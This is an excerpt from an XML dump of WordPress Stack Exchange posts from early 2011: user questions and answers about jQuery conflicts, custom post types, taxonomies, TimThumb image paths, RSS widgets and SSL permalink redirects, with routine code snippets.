  <row Id="8143" PostTypeId="2" ParentId="8139" CreationDate="2011-01-30T19:14:27.953" Score="1" ViewCount="" Body="&lt;p&gt;Do you have any specific reason to use externally loaded SimplePie?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress comes with SimplePie bundled and has wrappers that properly integrate and set up caching for it. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;fetch_feed()&lt;/code&gt;&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-30T19:14:27.953" CommentCount="1" />
  <row Id="8144" PostTypeId="2" ParentId="8140" CreationDate="2011-01-30T19:27:10.450" Score="1" ViewCount="" Body="&lt;p&gt;My suggestions would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Overwrite with clean copy of WordPress.&lt;/li&gt;&#xA;&lt;li&gt;Try to output path constants and verify that theme is loaded from proper directory.&lt;/li&gt;&#xA;&lt;li&gt;Try disabling all plugins.&lt;/li&gt;&#xA;&lt;li&gt;Install configuration check plugin, like &lt;a href=&quot;http://wordpress.org/extend/plugins/serverbuddy-by-pluginbuddy/&quot; rel=&quot;nofollow&quot;&gt;ServerBuddy&lt;/a&gt;, and see f anything lights up as horribly broken.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-30T19:27:10.450" CommentCount="2" />
  <row Id="8145" PostTypeId="1" CreationDate="2011-01-30T19:32:02.077" Score="1" ViewCount="164" Body="&lt;p&gt;I'm looking for some kind of plugin and/or widget to display a list of book covers in the sidebar. Are there any good options out there?&lt;/p&gt;&#xA;" OwnerUserId="2787" LastActivityDate="2011-02-07T08:57:21.320" Title="Bookshelf plugin and/or widget" Tags="&lt;widgets&gt;&lt;plugins&gt;&lt;books&gt;" AnswerCount="1" />
  <row Id="8146" PostTypeId="1" CreationDate="2011-01-30T19:58:58.850" Score="0" ViewCount="164" Body="&lt;p&gt;It seems there must be a plugin for this, but I can't find it. I'd like to enable a jQuery slider in a post, using the images I've added to the gallery for that post. Does anyone know of a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if not, what would be the smartest way to implement this? Again it's important that it calls from that posts gallery - using the native WordPress gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2011-01-31T00:25:07.130" Title="How to best create a jQuery Slider to display a native wordpress gallery?" Tags="&lt;plugins&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8147" PostTypeId="2" ParentId="8142" CreationDate="2011-01-30T20:16:52.103" Score="0" ViewCount="" Body="&lt;p&gt;I don't know what you mean by sync users. Users are global in the network and can be assigned to any blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;both their public website and backend both use their own multisite blog. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't make sense. Can you clarify? &lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-30T20:16:52.103" CommentCount="2" />
  <row Id="8148" PostTypeId="2" ParentId="8137" CreationDate="2011-01-30T21:12:48.263" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if (getCookie($(this).attr(&quot;id&quot;)) == true) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will NEVER evaluate as true because cookie values are stored as strings. You are trying to store a boolean value, which is converted to a string when it is written to the cookie. When the browser reads the cookie value, it is also read as a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fixed version of your code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.ss-show-collapse').click(function(){&#xA;    var collapse_anchor = '.'+$(this).attr(&quot;id&quot;)+' span';&#xA;    show_collapse = '.ss-show'+$(this).attr(&quot;id&quot;).replace('ss-show-collapse', '');&#xA;    $(show_collapse ).toggleFade('slow');&#xA;    $(collapse_anchor).toggle();&#xA;    if (getCookie($(this).attr(&quot;id&quot;)) == 'true') {&#xA;        setCookie($(this).attr(&quot;id&quot;), 'false', 1);&#xA;    } else {&#xA;        setCookie($(this).attr(&quot;id&quot;), 'true', 1);&#xA;    }&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also suggest looking into using &lt;code&gt;event.preventDefault();&lt;/code&gt; instead of &lt;code&gt;return false;&lt;/code&gt; &lt;a href=&quot;http://fuelyourcoding.com/jquery-events-stop-misusing-return-false/&quot; rel=&quot;nofollow&quot;&gt;http://fuelyourcoding.com/jquery-events-stop-misusing-return-false/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.ss-show-collapse').click(function(event){&#xA;    var collapse_anchor = '.'+$(this).attr(&quot;id&quot;)+' span';&#xA;    show_collapse = '.ss-show'+$(this).attr(&quot;id&quot;).replace('ss-show-collapse', '');&#xA;    $(show_collapse ).toggleFade('slow');&#xA;    $(collapse_anchor).toggle();&#xA;    if (getCookie($(this).attr(&quot;id&quot;)) == 'true') {&#xA;        setCookie($(this).attr(&quot;id&quot;), 'false', 1);&#xA;    } else {&#xA;        setCookie($(this).attr(&quot;id&quot;), 'true', 1);&#xA;    }&#xA;    event.preventDefault();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-01-30T21:12:48.263" />
  <row Id="8149" PostTypeId="1" AcceptedAnswerId="8150" CreationDate="2011-01-30T21:17:33.807" Score="0" ViewCount="245" Body="&lt;p&gt;Hey guys, thanks in advance for your help. I've done my research and I'm a bit stumped with this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a Wordpress website for a client and it is going to have an e-store. I'm using wp-ecommerce. All of the store pages are loading with a javascript error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thecollectiveclothingco.com/products-page/t-shirts/&quot; rel=&quot;nofollow&quot;&gt;http://www.thecollectiveclothingco.com/products-page/t-shirts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;form.product_form&quot;).livequery is not a function&#xA;[Break On This Error] jQuery(&quot;form.product_form&quot;).livequery(function(){ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After some extensive google-age, I believe I've diagnosed the issue as a script conflict. In other words, either WP or the plugin itself is serving up jquery, and I'm also including it for some other things on the site. When I delete my jquery script call, the issue goes away and the store works fine. But I need that jquery...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read about using WP enqeue to fix the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init_method() {&#xA;    if (!is_admin()) {&#xA;        wp_deregister_script( 'jquery' );&#xA;        wp_register_script( 'jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js');&#xA;        wp_enqueue_script( 'jquery' );&#xA;    }&#xA;}    &#xA;add_action('init', 'my_init_method');php wp_head(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe I've done this right, but does not seem to be fixing anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks again.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alright, I figured it out... it was the enqueue script that fixed things. I wp(head); had to come before the deregister and enqueue part. I must have read the documentation wrong. Here's what I added to my header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_head();&#xA;wp_deregister_script('jquery');&#xA;wp_enqueue_script('jquery', MYURL .'http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js', FALSE, '1.4.4');&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2828" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:32:35.653" LastActivityDate="2011-01-31T09:32:35.653" Title="Wordpress Jquery Confliction with Plugin" Tags="&lt;jquery&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8150" PostTypeId="2" ParentId="8149" CreationDate="2011-01-30T21:41:10.250" Score="0" ViewCount="" Body="&lt;p&gt;There are currently two copies of jQuery loaded on site:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In header there is jQuery bundled with WordPress, likely requested by some plugin.&lt;/li&gt;&#xA;&lt;li&gt;In footer there is jQuery from Google CDN, likely added by your code?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Obviously this is one too many. There are couple of ways to handle it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you are fine with using bundled copy you need to register/enqueue your scripts and declare &lt;code&gt;jquery&lt;/code&gt; in dependencies, see in Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_register_script()&lt;/code&gt;&lt;/a&gt;, &lt;code&gt;$deps&lt;/code&gt; argument.&lt;/li&gt;&#xA;&lt;li&gt;You can re-register jQuery to Google CDN, still good idea to register your script with it as dependency.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your code seems fine except this at end &lt;code&gt;php wp_head();&lt;/code&gt;, &lt;code&gt;php&lt;/code&gt; makes no sense, and &lt;code&gt;wp_head()&lt;/code&gt; call should be in theme.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-30T21:41:10.250" CommentCount="1" />
  <row Id="8152" PostTypeId="1" CreationDate="2011-01-30T21:50:32.040" Score="2" ViewCount="402" Body="&lt;p&gt;Trying to add a link to my admin menu (dashboard/backend) that leads to the frontend of wordpress, so I basically want a link in the menu that takes me to the blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a couple of ways to add new stuff to the admin menu, but I haven't been able to link to the home_url, it seems like the admin menu only is designed to let you link to stuff within the wp-admin. Anyone that have succeeded with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;Tried with this: &lt;a href=&quot;https://gist.github.com/792b7aa5b695d1092520&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/792b7aa5b695d1092520&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_admin_menu_item('Overview',array( &#xA;      'title' =&amp;gt; 'View Site',&#xA;      'slug' =&amp;gt; get_bloginfo('url')&#xA;  ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which gives me the link hxxp://myurl.com/myurl.com&lt;br&gt;&#xA;With this plugin (hxxp://wordpress.org/extend/plugins/admin-menu-editor/), I get:&lt;br&gt;&#xA;hxxp://myurl.com/wp-admin/www.test.com&lt;/p&gt;&#xA;" OwnerUserId="2830" LastEditorUserId="2830" LastEditorDisplayName="" LastEditDate="2011-01-30T23:16:13.060" LastActivityDate="2011-02-01T10:52:38.873" Title="Add &quot;external&quot; link to admin menu in the backend" Tags="&lt;wp-admin&gt;&lt;admin-menu&gt;&lt;dashboard&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="8153" PostTypeId="2" ParentId="8152" CreationDate="2011-01-30T22:07:41.803" Score="0" ViewCount="" Body="&lt;p&gt;The name of site (top left, next to WP logo) links to front-end, is that not sufficient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it would help if you included code that you had tried so far in the question.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-30T22:07:41.803" CommentCount="1" />
  <row Id="8154" PostTypeId="1" AcceptedAnswerId="8155" CreationDate="2011-01-30T22:18:10.920" Score="0" ViewCount="266" Body="&lt;p&gt;I have a all my custom post types list together in blog format. What I'm trying to do is echo the post type name on each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_type_object('post');&#xA;echo $obj-&amp;gt;labels-&amp;gt;singular_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it just displayed &quot;Post&quot; for everything instead of the custom post type name&lt;/p&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-02-01T12:04:54.477" Title="Echo current custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="3" />
  <row Id="8155" PostTypeId="2" ParentId="8154" CreationDate="2011-01-30T22:44:44.410" Score="2" ViewCount="" Body="&lt;p&gt;If you are within The Loop, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_type = get_post_type( $post-&amp;gt;ID );&#xA;echo $post_type;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this work for you?&lt;/p&gt;&#xA;" OwnerUserId="2347" LastActivityDate="2011-01-30T22:44:44.410" CommentCount="2" />
  <row Id="8156" PostTypeId="2" ParentId="8154" CreationDate="2011-01-30T22:49:40.473" Score="1" ViewCount="" Body="&lt;p&gt;Reading the docs at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_type_object&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_type_object&lt;/a&gt;&#xA;you must pass it the custom post type as argument!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_type_object('your-post-type');&#xA;echo $obj-&amp;gt;labels-&amp;gt;singular_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-01-30T22:49:40.473" />
  <row Id="8157" PostTypeId="1" AcceptedAnswerId="8255" CreationDate="2011-01-30T23:30:48.177" Score="1" ViewCount="375" Body="&lt;p&gt;I think I'm on the right track with what I need to do, at least for doing one of the ways it could be done. I'm not really sure though, I could be way off for all I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is part of the code I needed help with last night for resizing the uploaded image files, but now I am trying to figure out how to use the wp_delete_attachment($id) function to delete images attached to the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have this jQuery script that adds/ removes extra fields, for uploading more images to attach. For every added image there is a link to remove them. Clicking remove has only ever just remove the div which the link clicked was contained by, and when saving the post the attached file would show up as still attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my click event handler for the remove link, I need to first run function that will call the wp_delete_attachment(), to permanently delete the file/attachment, THEN I can use jQuery to remove the div of that attachment from the page. That way when saving the post it will have been deleted and not show up again still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my functions I've been trying to work with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// a function that returns the delete attachment php function, &#xA;// and a message saying Deleted that fades in and out.&#xA;    jQuery(function() {&#xA;        function delete_att( attID ) {&#xA;            var div = jQuery('#img_uploads'),&#xA;                msg = $('div').html('&amp;lt;strong&amp;gt;Attachment Deleted!&amp;lt;/strong&amp;gt;').fadeIn().delay(200).fadeOut().appendTo('div');&#xA;            return '&amp;lt;?php wp_delete_attachment( ' + attID + ', true ); ?&amp;gt;', msg;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the click handler which calls this function and then removes the containing div element from the page is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jQuery('.remImage').live('click', function() { &#xA;        if( size &amp;gt; 1 ) {&#xA;            var postID = jQuery('#attID').val()&#xA;            delete_att( postID );&#xA;&#xA;            //jQuery(this).parents('.attchmt').find('#attID');&#xA;            jQuery(this).parents('.attchmt').detach();&#xA;            size--;&#xA;        } &#xA;        return false; &#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code to add extra fields is between these two parts but these are the key pieces for what I need help with. Currently, the way I have it coded here I am getting this error message. idk wtf this means exactly though lol.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: uncaught exception: [Exception... &quot;Node cannot be inserted at the specified point in the hierarchy&quot;  code: &quot;3&quot; nsresult: &quot;0x80530003 (NS_ERROR_DOM_HIERARCHY_REQUEST_ERR)&quot;  location: &quot;http://code.jquery.com/jquery-1.4.4.min.js Line: 113&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here is the full code which I am using, exactly. &lt;a href=&quot;https://gist.github.com/802465&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/802465&lt;/a&gt;&#xA;Just trying to pass info to/from jQuery and Php and that's always a pain in the ass, (for me).&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-02-01T03:10:23.420" Title="How to delete post attachments when jQuery is used with a click event on the delete link" Tags="&lt;jquery&gt;&lt;attachments&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" />
  <row Id="8158" PostTypeId="1" CreationDate="2011-01-30T23:43:11.160" Score="0" ViewCount="206" Body="&lt;p&gt;I have a custom hierarchical taxonomy setup for a conference website. The top-level terms in this taxonomy are Dates, which have child terms representing session slots on that date. I'm trying to figure out how to get a list of the top-level terms within the taxonomy, that is I only want the terms that are Dates, not the terms that are sessions. Is this possible using &lt;code&gt;get_terms()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2833" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:27:31.557" LastActivityDate="2011-01-31T09:27:31.557" Title="How do I get the top-level terms in a custom taxonomy?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" />
  <row Id="8159" PostTypeId="1" AcceptedAnswerId="8169" CreationDate="2011-01-30T23:50:01.613" Score="0" ViewCount="355" Body="&lt;p&gt;I'm making a website for a student activity and have a wordpress page for each member under a common parent group. Each page contains some member info (currently unstructured) and a profile picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to list all these members under a member page with perhaps a grid of profile pictures and names. Is there a plugin that can accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that each member does not have a wordpress account. I already found plugins that can do that, but it's not what I am looking for.&lt;/p&gt;&#xA;" OwnerUserId="2835" LastActivityDate="2011-01-31T18:12:32.790" Title="Wordpress for a club website -- Members page" Tags="&lt;plugin-recommendation&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="8160" PostTypeId="2" ParentId="8158" CreationDate="2011-01-31T00:19:31.753" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_terms&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the hierarchical = 0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_taxonomy = get_terms('my_taxonomy', 'orderby=count&amp;amp;hide_empty=0&amp;amp;hierarchical=0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-01-31T00:19:31.753" />
  <row Id="8161" PostTypeId="2" ParentId="8146" CreationDate="2011-01-31T00:25:07.130" Score="2" ViewCount="" Body="&lt;p&gt;I have written a couple tutorials on how to make a dynamic jQuery featured post slider with Wordpress, here is my best one which is the most popular post on my site, in case you're interested in trying it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://new2wp.com/pro/part-3-making-a-dynamic-wordpress-jquery-featured-post-slider-tutorial-finale/&quot; rel=&quot;nofollow&quot;&gt;http://new2wp.com/pro/part-3-making-a-dynamic-wordpress-jquery-featured-post-slider-tutorial-finale/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-31T00:25:07.130" CommentCount="1" />
  <row Id="8162" PostTypeId="1" CreationDate="2011-01-31T00:39:58.007" Score="0" ViewCount="145" Body="&lt;p&gt;I made an ecommerce shopping site using Wordpress and the Phpurchase plugin, and since it is a shop site it requires SSL to be used so it's secure. Well, I had this big problem that I could never figure out how to fix, and ended up getting so frustrated with it I gave up trying and just used the default ugly SEO-unfriendly permalink structure in WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had the permalink rewrite in my .htaccess file, when SSL was enabled, no matter what I could do or try I would always get an error that said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Page unable to finish loading: Too many redirects&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if anyone here has ever had this happen to them and/or knew of a way to fix it so I can use custom (pretty/much better) permalink structure for my site and SSL both. It would really help the site out having better SEO happy links, and would just be much better for many reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-31T00:39:58.007" Title="Using custom permalinks with SSL enabled site errors saying &quot;Too many redirects&quot;?" Tags="&lt;redirect&gt;&lt;url-rewriting&gt;&lt;ssl&gt;" CommentCount="2" />
  <row Id="8163" PostTypeId="2" ParentId="3468" CreationDate="2011-01-31T00:49:21.977" Score="2" ViewCount="" Body="&lt;p&gt;Here's a script I wrote that I've used in 5-6 custom different types of meta boxes. I love having the add/remove fields option, makes things much faster since WP can be very slow when you save/publish posts, even tho it could just post to the admin-ajax.php file in the background and be much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://new2wp.com/snippet/jquery-add-remove-extra-input-form-fields/&quot; rel=&quot;nofollow&quot;&gt;http://new2wp.com/snippet/jquery-add-remove-extra-input-form-fields/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1366" LastActivityDate="2011-01-31T00:49:21.977" />
  <row Id="8164" PostTypeId="1" AcceptedAnswerId="8192" CreationDate="2011-01-31T01:43:10.713" Score="1" ViewCount="244" Body="&lt;p&gt;When someone creates a post in a custom post type and uploads an image the Link URL box shows it as the attachment URL. What I would like is for it to be the permalink to the post. Is there a way to do it without modifying core files?&lt;/p&gt;&#xA;" OwnerUserId="2832" LastActivityDate="2011-02-02T00:13:38.743" Title="Link images to post permalink - custom post types" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="8165" PostTypeId="1" CreationDate="2011-01-31T03:03:26.410" Score="0" ViewCount="849" Body="&lt;p&gt;Tim thumb script is working fine, My issue is with absolute path and relative path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i give relative path, i get the output. but when i use the absolute path, i am getting 403 forbidden error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use absolute path. Pleas advise&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://crizaze.com/wp-content/themes/joorang/timthumb.php?src=/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&amp;amp;h=80&amp;amp;w=80&amp;amp;zc=1&quot; rel=&quot;nofollow&quot;&gt;http://crizaze.com/wp-content/themes/joorang/timthumb.php?src=/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&amp;amp;h=80&amp;amp;w=80&amp;amp;zc=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:25:58.313" LastActivityDate="2011-02-01T16:05:45.270" Title="TImthumb not working for absolute path" Tags="&lt;images&gt;&lt;timthumb&gt;" AnswerCount="6" />
  <row Id="8166" PostTypeId="2" ParentId="8165" CreationDate="2011-01-31T03:17:22.253" Score="1" ViewCount="" Body="&lt;p&gt;I would like to know what absolute path you are using, but this should work. Of course you may have to do some tweaking to dynamically change the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$absolute = get_home_url.'/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$timThumb = &lt;a href=&quot;http://crizaze.com/wp-content/themes/joorang/timthumb.php?src=&quot; rel=&quot;nofollow&quot;&gt;http://crizaze.com/wp-content/themes/joorang/timthumb.php?src=&lt;/a&gt;'.$absolute.'&amp;amp;h=80&amp;amp;w=80&amp;amp;zc=1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took out your foreach loop because get_post_meta will only return one the first value if set to true. I have not tested this out&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//removed function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also take a look at &lt;a href=&quot;http://www.binarymoon.co.uk/2010/08/timthumb-part-2-external-websites/&quot; rel=&quot;nofollow&quot;&gt;Using TimThumb Part 2: External Websites&lt;/a&gt;. Make sure your &lt;em&gt;cache/ and temp/ folders are set to 755&lt;/em&gt; and &lt;em&gt;add your website 'crizaze.com' to the $allowedSites array&lt;/em&gt; in timthumb.php. I believe this is your problem for absolute urls.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-02-01T12:28:05.223" LastActivityDate="2011-02-01T12:28:05.223" CommentCount="2" />
  <row Id="8167" PostTypeId="1" CreationDate="2011-01-31T03:38:46.900" Score="1" ViewCount="192" Body="&lt;p&gt;I'm working this problem discussed here:  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4793/custom-comment-types/4796#4796&quot;&gt;Custom Comment Types&lt;/a&gt;, but I need more clues to map out the process.  I want to create custom post types and associations between Questions &amp;amp; Answers, and Pin-ups &amp;amp; Critiques.  I think that I want to do this because I want to be able to archive and create feeds for Answers and Critiques separate from Post Comments  For example, for a given author/user home page, I want to be able to list Questions posed, Answers given, work Pinned-up for comment, and Critiques made.  An Answer would include the title of the Question it refers to.  This is more of an aside, but I am imagining a role/capability to comment on each custom post type (Question, Answer, etc. ala Quora and Stack Exchange).  The comment referenced 2 options:  using a custom taxonomy and storing an ID in a custom field.  I'm self-learning, so any additional help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2652" LastActivityDate="2011-01-31T06:31:54.637" Title="How do I associate a custom post type with another through a taxonomy or storing an ID in a custom field?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="8168" PostTypeId="1" CreationDate="2011-01-31T03:39:20.407" Score="1" ViewCount="119" Body="&lt;p&gt;I am using a static front page for my blog to which I have added a widgetized sidebar area to hold an RSS feed widget. I want to show summaries of the latest two or three blog posts on the front page, but I am having problems with the RSS widget not updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, within the RSS widget set-up field, the RSS field is similar to &quot;http://exampleblog.com/feed/&quot;. The RSS feed will publish on the first refresh after activating the widget, but will not publish with subsequent newer posts. It doesn't update with new posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the questions of this site attributed a similar problem to caching, and I am using WP Cache on the web server. De-activating WP Cache does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I am missing some simple procedure, but find no mention in the Codex or this site.&lt;/p&gt;&#xA;" OwnerUserId="2242" LastActivityDate="2011-01-31T08:48:06.740" Title="Can WordPress Read It's Own RSS Feed?" Tags="&lt;widgets&gt;&lt;sidebar&gt;&lt;rss&gt;" AnswerCount="2" />
  <row Id="8169" PostTypeId="2" ParentId="8159" CreationDate="2011-01-31T03:52:44.913" Score="1" ViewCount="" Body="&lt;p&gt;You might consider create a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;custom post type&lt;/a&gt; &lt;code&gt;'person'&lt;/code&gt; to mirror your user and then you'll be able to create member pages by creating a &lt;code&gt;single-person.php&lt;/code&gt; theme template file. This answer provides code for doing that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6163/commenting-in-user-profile-page/6165#6165&quot;&gt;&lt;strong&gt;Commenting in user profile page?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-31T03:52:44.913" CommentCount="6" />
  <row Id="8170" PostTypeId="1" AcceptedAnswerId="8174" CreationDate="2011-01-31T04:01:47.507" Score="0" ViewCount="73" Body="&lt;p&gt;I am looking to display different content after a user registers.  Is there a way to find out the registration date and then if it's been 1 day display one thing, but if it's been 2 days display something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this, but based on the registration date and not a post entry date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (strtotime($post-&amp;gt;post_date) &amp;gt; strtotime('-30 days')): ?&amp;gt;&#xA;   //Text for posts created in the last 30 days&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2289" LastActivityDate="2011-01-31T18:44:17.590" Title="Find out when a user was created and display varied content depending on time since creation" Tags="&lt;users&gt;" AnswerCount="1" FavoriteCount="1" />
